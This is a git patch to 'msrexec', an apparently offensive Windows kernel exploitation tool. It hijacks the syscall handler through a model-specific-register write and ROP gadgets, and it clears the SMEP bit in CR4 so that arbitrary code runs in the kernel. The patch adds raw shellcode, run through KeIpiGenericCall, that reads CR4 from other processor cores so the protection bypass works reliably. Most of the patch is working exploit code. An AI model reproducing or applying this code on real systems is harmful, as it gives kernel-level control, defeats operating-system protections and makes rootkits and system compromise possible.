From 1dd7ef70fe1431b9786202cb9efff8ef78b839d5 Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Tue, 6 Apr 2021 21:04:18 -0700 Subject: [PATCH] added KeIpiGenericCall callback to grab CR4 from another core --- msrexec.cpp | 119 +++++++++++++++++++++++++++++++++++------------- msrexec.hpp | 44 ++++++++++++++++++ msrexec.vcxproj | 5 ++ 3 files changed, 136 insertions(+), 32 deletions(-) diff --git a/msrexec.cpp b/msrexec.cpp index a8b5cb0..2152eda 100644 --- a/msrexec.cpp +++ b/msrexec.cpp @@ -22,6 +22,91 @@ namespace vdm if (!find_globals()) std::printf("> failed to find globals...\n"); + // guess CR4 value for now... + // later on I get real cr4 value from IPI... + const auto cr4_value = guess_cr4_value(); + + m_smep_on.flags = cr4_value.flags; + m_smep_off.flags = cr4_value.flags; + m_smep_off.smep_enable = false; + + ntoskrnl_base = + reinterpret_cast( + utils::kmodule::get_base("ntoskrnl.exe")); + + get_system_routine = + reinterpret_cast( + utils::kmodule::get_export( + "ntoskrnl.exe", "RtlFindExportedRoutineByName")); + + // debug prints... + std::printf("> m_pop_rcx_gadget -> 0x%p\n", m_pop_rcx_gadget); + std::printf("> m_mov_cr4_gadget -> 0x%p\n", m_mov_cr4_gadget); + std::printf("> m_sysret_gadget -> 0x%p\n", m_sysret_gadget); + std::printf("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset); + std::printf("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset); + std::printf("> m_system_call -> 0x%p\n", m_system_call); + std::printf("> m_smep_off -> 0x%p\n", m_smep_off.flags); + std::printf("> m_smep_on -> 0x%p\n", m_smep_on.flags); + std::printf("> check to make sure none of these^ are zero before pressing enter...\n"); + std::getchar(); + + // when this returns back to UM, CR4 will still potentially contain invalid bits... + this->exec + ( + // grab the actual CR4 value from other cores by firing an IPI... + [&](void* krnl_base, get_system_routine_t get_kroutine) -> void + { + _ipi_data ipi_data; + cpuid_eax_01 cpuid_info; + __cpuid((int*)&cpuid_info, 1); + + const auto cpuid_num = + cpuid_info + .cpuid_additional_information + .initial_apic_id; + + ipi_data.core_num = cpuid_num; + + const auto ex_alloc = + reinterpret_cast( + get_kroutine(krnl_base, "ExAllocatePool")); + + const auto ex_free = + reinterpret_cast( + get_kroutine(krnl_base, "ExFreePool")); + + const auto ipi_call = + reinterpret_cast( + get_kroutine(krnl_base, "KeIpiGenericCall")); + + const auto ipi_callback_buf = + ex_alloc(NULL, sizeof ipi_callback); + + memcpy(ipi_callback_buf, ipi_callback, sizeof ipi_callback); + + // please note that &ipi_data will be a + // pointer to the *kernel stack* so its globally mapped... + ipi_call(ipi_callback_buf, &ipi_data); + + // fix m_smep_on and m_smep_off values now... + m_smep_on.flags = ipi_data.cr4_val; + m_smep_off.flags = ipi_data.cr4_val; + m_smep_off.smep_enable = false; + + // free ipi_callback buffer and return from syscall... + memset(ipi_callback_buf, NULL, sizeof ipi_call); + ex_free(ipi_callback_buf); + } + ); + + // restore CR4 values so that they are correct + // (syscall handler from last exec hasnt updated CR4 with corrected m_smep_off/m_smep_on)... + this->exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void{}); + } + + auto msrexec_ctx::guess_cr4_value() -> cr4 + { cpuid_eax_01 cpuid_info; __cpuid((int*)&cpuid_info, 1); @@ -49,39 +134,9 @@ namespace vdm cr4_value.pcid_enable = cpuid_info.cpuid_feature_information_ecx - .process_context_identifiers; - - m_smep_off.flags = cr4_value.flags; - m_smep_off.smep_enable = false; - m_smep_off.smap_enable = false; // newer cpus have this on... - - // WARNING: some virtual machines dont have SMEP... - // my VMWare VM doesnt... nor does my Virtual Box VM... - m_smep_on.flags = cr4_value.flags; - m_smep_on.smep_enable = cpuid_features.ebx.smep; - m_smep_on.smap_enable = cpuid_features.ebx.smap; - - ntoskrnl_base = - reinterpret_cast( - utils::kmodule::get_base("ntoskrnl.exe")); - - get_system_routine = - reinterpret_cast( - utils::kmodule::get_export( - "ntoskrnl.exe", "RtlFindExportedRoutineByName")); - - std::printf("> m_pop_rcx_gadget -> 0x%p\n", m_pop_rcx_gadget); - std::printf("> m_mov_cr4_gadget -> 0x%p\n", m_mov_cr4_gadget); - std::printf("> m_sysret_gadget -> 0x%p\n", m_sysret_gadget); - std::printf("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset); - std::printf("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset); - std::printf("> m_system_call -> 0x%p\n", m_system_call); + .process_context_identifiers; - std::printf("> m_smep_off -> 0x%p\n", m_smep_off.flags); - std::printf("> m_smep_on -> 0x%p\n", m_smep_on.flags); - - std::printf("> check to make sure none of these^ are zero before pressing enter...\n"); - std::getchar(); + return cr4_value; } auto msrexec_ctx::find_gadgets() -> bool diff --git a/msrexec.hpp b/msrexec.hpp index 2c68f05..1894cdc 100644 --- a/msrexec.hpp +++ b/msrexec.hpp @@ -22,10 +22,53 @@ using callback_t = std::function; using thread_info_t = std::pair; using writemsr_t = std::function; +struct _ipi_data +{ + std::uint32_t core_num; + std::uint64_t cr4_val; +}; + +using ex_alloc_t = void* (*)(unsigned, unsigned); +using ex_free_t = void (*)(void*); +using ipi_call_t = void (*)(void*, _ipi_data*); + extern "C" void msrexec_handler(callback_t* callback); inline get_system_routine_t get_system_routine = nullptr; inline void* ntoskrnl_base = nullptr; +/* + // this gets copied into a kernel pool + // so all cores can execute it... + + void ipi_callback(_ipi_data* ipi_data) + { + cpuid_eax_01 cpuid_info; + __cpuid((int*)&cpuid_info, 1); + + const auto cpuid_num = + cpuid_info + .cpuid_additional_information + .initial_apic_id; + + if (ipi_data->core_num == cpuid_num) + return; + + ipi_data->cr4_val = __readcr4(); + } +*/ + +inline std::uint8_t ipi_callback[] = +{ + 0x48, 0x89, 0x4C, 0x24, 0x08, 0x53, 0x48, 0x83, 0xEC, 0x20, 0xB8, 0x01, + 0x00, 0x00, 0x00, 0x33, 0xC9, 0x0F, 0xA2, 0x4C, 0x8D, 0x44, 0x24, 0x08, + 0x41, 0x89, 0x00, 0x41, 0x89, 0x58, 0x04, 0x41, 0x89, 0x48, 0x08, 0x41, + 0x89, 0x50, 0x0C, 0x8B, 0x44, 0x24, 0x0C, 0xC1, 0xE8, 0x18, 0x25, 0xFF, + 0x00, 0x00, 0x00, 0x89, 0x04, 0x24, 0x48, 0x8B, 0x44, 0x24, 0x30, 0x8B, + 0x0C, 0x24, 0x39, 0x08, 0x75, 0x02, 0xEB, 0x0C, 0x0F, 0x20, 0xE0, 0x48, + 0x8B, 0x4C, 0x24, 0x30, 0x48, 0x89, 0x41, 0x08, 0x48, 0x83, 0xC4, 0x20, + 0x5B, 0xC3 +}; + namespace vdm { class msrexec_ctx @@ -36,6 +79,7 @@ namespace vdm void set_wrmsr(writemsr_t wrmsr); auto get_wrmsr() -> writemsr_t const; private: + auto guess_cr4_value()->cr4; auto find_gadgets() -> bool; auto find_globals() -> bool; writemsr_t wrmsr; diff --git a/msrexec.vcxproj b/msrexec.vcxproj index 32a8584..1994ef1 100644 --- a/msrexec.vcxproj +++ b/msrexec.vcxproj @@ -76,6 +76,8 @@ true stdcpp17 MultiThreadedDebugDLL + false + false Console @@ -93,6 +95,9 @@ true stdcpp17 MultiThreadedDLL + false + false + Disabled Console